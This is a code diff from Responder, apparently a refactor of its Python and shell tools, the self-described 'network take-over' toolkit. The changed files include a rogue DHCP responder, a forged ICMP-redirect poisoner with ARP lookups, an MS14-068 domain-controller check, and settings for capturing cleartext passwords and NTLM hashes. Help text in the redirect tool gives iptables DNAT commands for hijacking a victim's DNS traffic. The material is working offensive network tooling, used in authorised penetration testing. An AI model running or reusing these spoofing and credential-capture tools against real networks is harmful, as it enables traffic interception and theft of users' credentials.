self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
@@ -146,25 +146,36 @@ class Settings:
self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
# CLI options
self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.NBTNSDomain = options.NBTNSDomain
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.CommandLine = str(sys.argv)
# Auto Ignore List
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
self.AutoIgnoreList = []
if self.HtmlToInject == None:
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.NBTNSDomain = options.NBTNSDomain
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
if self.HtmlToInject is None:
self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
@@ -182,7 +193,6 @@ class Settings:
# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
logging.warning('Responder Started: %s' % self.CommandLine)
logging.warning('Responder Config: %s' % str(self))
Formatter = logging.Formatter('%(asctime)s - %(message)s')
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
@@ -197,6 +207,13 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
def init():
global Config

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,11 +14,9 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os
import socket
import sys
import os
import thread
import struct
import time
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
@@ -29,7 +27,6 @@ from threading import Lock
from utils import *
def ParseRoles(data):
if len(data) != 4:
return ''
@@ -62,81 +59,44 @@ def ParseRoles(data):
'Domain Enum': (ord(data[3]) >> 7) & 1,
}
#print 'Workstation : ', AllRoles['Workstation']
#print 'Server : ', AllRoles['Server']
#print 'SQL : ', AllRoles['SQL']
#print 'Domain Controller : ', AllRoles['Domain Controller']
#print 'Backup Controller : ', AllRoles['Backup Controller']
#print 'Time Source : ', AllRoles['Time Source']
#print 'Apple : ', AllRoles['Apple']
#print 'Novell : ', AllRoles['Novell']
#print 'Member : ', AllRoles['Member']
#print 'Print : ', AllRoles['Print']
#print 'Dialin : ', AllRoles['Dialin']
#print 'Xenix : ', AllRoles['Xenix']
#print 'NT Workstation : ', AllRoles['NT Workstation']
#print 'WfW : ', AllRoles['WfW']
#print 'Unused : ', AllRoles['Unused']
#print 'NT Server : ', AllRoles['NT Server']
#print 'Potential Browser : ', AllRoles['Potential Browser']
#print 'Backup Browser : ', AllRoles['Backup Browser']
#print 'Master Browser : ', AllRoles['Master Browser']
#print 'Domain Master Browser : ', AllRoles['Domain Master Browser']
#print 'OSF : ', AllRoles['OSF']
#print 'VMS : ', AllRoles['VMS']
#print 'Windows 95+ : ', AllRoles['Windows 95+']
#print 'DFS : ', AllRoles['DFS']
#print 'Local : ', AllRoles['Local']
#print 'Domain Enum : ', AllRoles['Domain Enum']
return ', '.join(k for k,v in AllRoles.items() if v == 1)
Roles = []
for k,v in AllRoles.iteritems():
if v == 1:
Roles.append(k)
return ', '.join(Roles)
class BrowserListener(BaseRequestHandler):
def handle(self):
#try:
data, socket = self.request
data, socket = self.request
lock = Lock()
lock.acquire()
lock = Lock()
lock.acquire()
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
ReqType = RequestType(BrowserPacket[0])
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
ReqType = RequestType(BrowserPacket[0])
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
Fprint = WorkstationFingerPrint(data[190:192])
Roles = ParseRoles(data[192:196])
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
Fprint = WorkstationFingerPrint(data[190:192])
Roles = ParseRoles(data[192:196])
print text("[BROWSER] Request Type : %s" % ReqType)
print text("[BROWSER] Address : %s" % self.client_address[0])
print text("[BROWSER] Domain : %s" % Domain)
print text("[BROWSER] Name : %s" % Name)
print text("[BROWSER] Main Role : %s" % Role1)
print text("[BROWSER] 2nd Role : %s" % Role2)
print text("[BROWSER] Fingerprint : %s" % Fprint)
print text("[BROWSER] Role List : %s" % Roles)
print text("[BROWSER] Request Type : %s" % ReqType)
print text("[BROWSER] Address : %s" % self.client_address[0])
print text("[BROWSER] Domain : %s" % Domain)
print text("[BROWSER] Name : %s" % Name)
print text("[BROWSER] Main Role : %s" % Role1)
print text("[BROWSER] 2nd Role : %s" % Role2)
print text("[BROWSER] Fingerprint : %s" % Fprint)
print text("[BROWSER] Role List : %s" % Roles)
RAPThisDomain(self.client_address[0], Domain)
RAPThisDomain(self.client_address[0], Domain)
lock.release()
#except Exception:
# pass
lock.release()
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
self.allow_reuse_address = 1
#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
UDPServer.server_bind(self)
def serve_thread_udp_broadcast(host, port, handler):
@@ -155,4 +115,4 @@ if __name__ == "__main__":
time.sleep(1)
except KeyboardInterrupt:
sys.exit("\r Exiting...")
sys.exit("\r Exiting...")

62
tools/DHCP.py Normal file → Executable file
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -16,8 +16,6 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import struct
import socket
import re
import optparse
import ConfigParser
import os
@@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0):
if options.Interface is None:
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
exit(-1)
if options.RouterIP is None:
elif options.RouterIP is None:
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
exit(-1)
if options.DNSIP is None:
elif options.DNSIP is None:
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
exit(-1)
if options.DNSIP2 is None:
elif options.DNSIP2 is None:
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
exit(-1)
@@ -230,22 +225,15 @@ def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
if len(RespondTo) and ClientIp not in RespondTo:
elif RespondTo and ClientIp not in RespondTo:
return False
if ClientIp in RespondTo or RespondTo == []:
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def IsUDP(data):
return True if data[0][23:24] == "\x11" else False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
@@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])
def ParseDHCPCode(data):
@@ -270,21 +258,17 @@ def ParseDHCPCode(data):
# DHCP Inform
if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
GiveClientIP=socket.inet_aton("0.0.0.0"), \
NextServerIP=socket.inet_aton("0.0.0.0"), \
RelayAgentIP=socket.inet_aton("0.0.0.0"), \
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowleged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Request
if OpCode == "\x03" and Respond_To_Requests:
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
@@ -292,16 +276,11 @@ def ParseDHCPCode(data):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowleged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Discover
if OpCode == "\x01" and Respond_To_Requests:
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
@@ -309,13 +288,10 @@ def ParseDHCPCode(data):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowleged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
@@ -329,7 +305,7 @@ if __name__ == "__main__":
while True:
try:
data = s.recvfrom(65535)
if IsUDP(data):
if data[0][23:24] == "\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:

View File

@@ -1,6 +1,6 @@
#!/bin/bash
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
# This file is part of Responder. laurent.gaffie@gmail.com
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@@ -36,12 +36,13 @@ if [ ! -d "/sys/class/net/$1" ]; then
fi
INTF=$1
IPADDR=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $3}'`
NETMASK=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $7}'`
PATH="$PATH:/sbin"
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
DNS1=$IPADDR
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
ROUTER=`/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'`
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
WPADSTR="http://$IPADDR/wpad.dat"
if [ -z "$DOMAIN" ]; then
DOMAIN=" "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -21,7 +21,7 @@ import struct
import socket
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData
from packets import SMB2Header, SMB2Nego, SMB2NegoData
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
@@ -35,12 +35,8 @@ def IsDCVuln(t):
if t[0] < Date:
print "DC is up since:", t[1]
print "This DC is vulnerable to MS14-068"
else:
print "DC is up since:", t[1]
print "DC is up since:", t[1]
def NbtLen(data):
Len = struct.pack(">i", len(data))
return Len
def run(host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -52,7 +48,7 @@ def run(host):
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = NbtLen(Packet)+Packet
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
try:

6
tools/FindSQLSrv.py Normal file → Executable file
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or

379
tools/Icmp-Redirect.py Normal file → Executable file
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,249 +14,224 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import socket
import struct
import optparse
import random
import pipes
import sys
from socket import *
sys.path.append('../')
from odict import OrderedDict
from random import randrange
from time import sleep
from subprocess import call
from pipes import quote
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from packets import Packet
from utils import *
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0],)
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-g', '--gateway', action="store", help="The ip address of the original gateway ('route -n' will tell)", metavar="10.20.30.254",dest="OriginalGwAddr")
parser.add_option('-t', '--target', action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
parser.add_option('-r', '--route', action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute', action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser.add_option('-a', '--alternate', action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
prog=sys.argv[0],
)
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
options, args = parser.parse_args()
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.OriginalGwAddr is None:
print color("[!]", 1, 1), "-g mandatory option is missing, please provide the original gateway address.\n"
exit(-1)
if options.VictimIP is None:
print color("[!]", 1, 1), "-t mandatory option is missing, please provide a target.\n"
exit(-1)
if options.Interface is None:
print color("[!]", 1, 1), "-I mandatory option is missing, please provide your network interface.\n"
exit(-1)
if options.ToThisHost is None:
print color("[!]", 1, 1), "r mandatory option is missing, please provide a destination target.\n"
exit(-1)
if options.OURIP is None:
print "-i mandatory option is missing.\n"
parser.print_help()
exit(-1)
elif options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n"
parser.print_help()
exit(-1)
elif options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
elif options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n"
parser.print_help()
exit(-1)
elif options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n"
parser.print_help()
exit(-1)
if options.AlternateGwAddr is None:
AlternateGwAddr = FindLocalIP(Interface)
AlternateGwAddr = options.OURIP
Responder_IP = FindLocalIP(Interface)
OriginalGwAddr = options.OriginalGwAddr
#Setting some vars.
OURIP = options.OURIP
OriginalGwAddr = options.OriginalGwAddr
AlternateGwAddr = options.AlternateGwAddr
VictimIP = options.VictimIP
ToThisHost = options.ToThisHost
ToThisHost2 = options.ToThisHost2
Interface = options.Interface
VictimIP = options.VictimIP
ToThisHost = options.ToThisHost
ToThisHost2 = options.ToThisHost2
Interface = options.Interface
print '###########################################################################'
print '## ICMP REDIRECT UTILITY 0.1 ##'
print '## ##'
print '## This utility combined with Responder is useful on Windows networks ##'
print '## Most Linux distributions discard by default ICMP Redirects. ##'
print '## ##'
print '## Note that if the target is Windows, the poisoning will only ##'
print '## last for 10mn, you can re-poison the target by launching this ##'
print '## utility again. If you wish to respond to the traffic, for example ##'
print '## to DNS queries issued by the target, run these commands as root: ##'
print '## ##'
print '## * iptables -A OUTPUT -p ICMP -j DROP ##'
print '## * iptables -t nat -A PREROUTING -p udp --dst %s ##' % ToThisHost
print '## --dport 53 -j DNAT --to-destination %s:53 ##' % Responder_IP
print '###########################################################################'
print ''
def Show_Help(ExtraHelpData):
print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
print(ExtraHelpData)
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
def GenCheckSum(data):
s = 0
for i in range(0, len(data), 2):
q = ord(data[i]) + (ord(data[i+1]) << 8)
f = s+q
s = (f & 0xffff) + (f >> 16)
return struct.pack("<H",~s & 0xffff)
s = 0
for i in range(0, len(data), 2):
q = ord(data[i]) + (ord(data[i+1]) << 8)
f = s + q
s = (f & 0xffff) + (f >> 16)
return struct.pack("<H",~s & 0xffff)
#####################################################################
#ARP Packets
#####################################################################
class EthARP(Packet):
fields = OrderedDict([
("DstMac", "\xff\xff\xff\xff\xff\xff"),
("SrcMac", ""),
("Type", "\x08\x06" ), #ARP
])
fields = OrderedDict([
("DstMac", "\xff\xff\xff\xff\xff\xff"),
("SrcMac", ""),
("Type", "\x08\x06" ), #ARP
])
class ARPWhoHas(Packet):
fields = OrderedDict([
("HwType", "\x00\x01"),
("ProtoType", "\x08\x00" ), #IP
("MacLen", "\x06"),
("IPLen", "\x04"),
("OpCode", "\x00\x01"),
("SenderMac", ""),
("SenderIP", "\x00\xff\x53\x4d"),
("DstMac", "\x00\x00\x00\x00\x00\x00"),
("DstIP", "\x00\x00\x00\x00"),
])
fields = OrderedDict([
("HwType", "\x00\x01"),
("ProtoType", "\x08\x00" ), #IP
("MacLen", "\x06"),
("IPLen", "\x04"),
("OpCode", "\x00\x01"),
("SenderMac", ""),
("SenderIP", "\x00\xff\x53\x4d"),
("DstMac", "\x00\x00\x00\x00\x00\x00"),
("DstIP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
self.fields["SenderIP"] = inet_aton(Responder_IP)
def calculate(self):
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
self.fields["SenderIP"] = inet_aton(OURIP)
#####################################################################
#ICMP Redirect Packets
#####################################################################
class Eth2(Packet):
fields = OrderedDict([
("DstMac", ""),
("SrcMac", ""),
("Type", "\x08\x00" ), #IP
])
fields = OrderedDict([
("DstMac", ""),
("SrcMac", ""),
("Type", "\x08\x00" ), #IP
])
class IPPacket(Packet):
fields = OrderedDict([
("VLen", "\x45"),
("DifField", "\x00"),
("Len", "\x00\x38"),
("TID", "\x25\x25"),
("Flag", "\x00"),
("FragOffset", "\x00"),
("TTL", "\x1d"),
("Cmd", "\x01"), #ICMP
("CheckSum", "\x00\x00"),
("SrcIP", ""),
("DestIP", ""),
("Data", ""),
fields = OrderedDict([
("VLen", "\x45"),
("DifField", "\x00"),
("Len", "\x00\x38"),
("TID", "\x25\x25"),
("Flag", "\x00"),
("FragOffset", "\x00"),
("TTL", "\x1d"),
("Cmd", "\x01"), #ICMP
("CheckSum", "\x00\x00"),
("SrcIP", ""),
("DestIP", ""),
("Data", ""),
])
])
def calculate(self):
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
# Calc Len First
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
# Then CheckSum this packet
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
def calculate(self):
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
# Calc Len First
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
# Then CheckSum this packet
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
class ICMPRedir(Packet):
fields = OrderedDict([
("Type", "\x05"),
("OpCode", "\x01"),
("CheckSum", "\x00\x00"),
("GwAddr", ""),
("Data", ""),
])
fields = OrderedDict([
("Type", "\x05"),
("OpCode", "\x01"),
("CheckSum", "\x00\x00"),
("GwAddr", ""),
("Data", ""),
])
def calculate(self):
#Set the values
self.fields["GwAddr"] = inet_aton(Responder_IP)
# Then CheckSum this packet
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
def calculate(self):
self.fields["GwAddr"] = inet_aton(OURIP)
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
class DummyUDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x35"), #port 53
("DstPort", "\x00\x35"),
("Len", "\x00\x08"), #Always 8 in this case.
("CheckSum", "\x00\x00"), #CheckSum disabled.
])
fields = OrderedDict([
("SrcPort", "\x00\x35"), #port 53
("DstPort", "\x00\x35"),
("Len", "\x00\x08"), #Always 8 in this case.
("CheckSum", "\x00\x00"), #CheckSum disabled.
])
def ReceiveArpFrame(DstAddr):
s = socket(AF_PACKET, SOCK_RAW)
s.settimeout(5)
Protocol = 0x0806
s.bind((Interface, Protocol))
OurMac = s.getsockname()[4]
Eth = EthARP(SrcMac=OurMac)
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
Arp.calculate()
final = str(Eth)+str(Arp)
try:
s.send(final)
data = s.recv(1024)
DstMac = data[22:28]
DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
return PrintMac,DstMac
except:
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
exit(1)
s = socket(AF_PACKET, SOCK_RAW)
s.settimeout(5)
Protocol = 0x0806
s.bind((Interface, Protocol))
OurMac = s.getsockname()[4]
Eth = EthARP(SrcMac=OurMac)
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
Arp.calculate()
final = str(Eth)+str(Arp)
try:
s.send(final)
data = s.recv(1024)
DstMac = data[22:28]
DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
return PrintMac,DstMac
except:
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
exit(1)
def IcmpRedirectSock(DestinationIP):
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
